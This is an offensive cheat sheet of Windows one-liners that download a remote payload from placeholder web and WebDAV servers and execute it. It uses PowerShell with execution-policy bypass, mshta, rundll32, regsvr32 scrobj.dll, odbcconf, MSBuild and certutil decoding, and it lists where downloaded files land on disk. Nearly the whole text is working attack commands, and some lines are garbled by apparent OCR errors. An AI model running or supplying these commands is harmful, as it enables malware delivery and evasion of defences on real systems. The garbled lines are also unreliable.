Windows - Download and execute methods

Downloaded files location

- C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.Crede
 ntialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

From a Webdav server

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Cmd

r cmd.exe /k < \\webdavserver\folder\batchfile.txt

Cscript / Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt

Mshta

- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
- p→ mshta http://webserver/payload.hta
- mshta \\webdavserver\folder\payload.hta

Rundll32

- rundll32 \\webdavserver\folder\payload.dll,entrypoint
- rundl132.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://
 webserver/payload.sct");window.close();

Regasm / Regsvc @subTee

Regsvr32 @subTee

- regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
- regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !

MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !

MB! payload.xml"

Certutil

- certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\In
 stallUtil /logfile= /LogToConsole=false /u payload.dll
- certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil decode payload.b64 payload.exe & payload.exe

Thanks to

 arnooxox - Windows oneliners to download remote payload and execute arbitrary code (https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)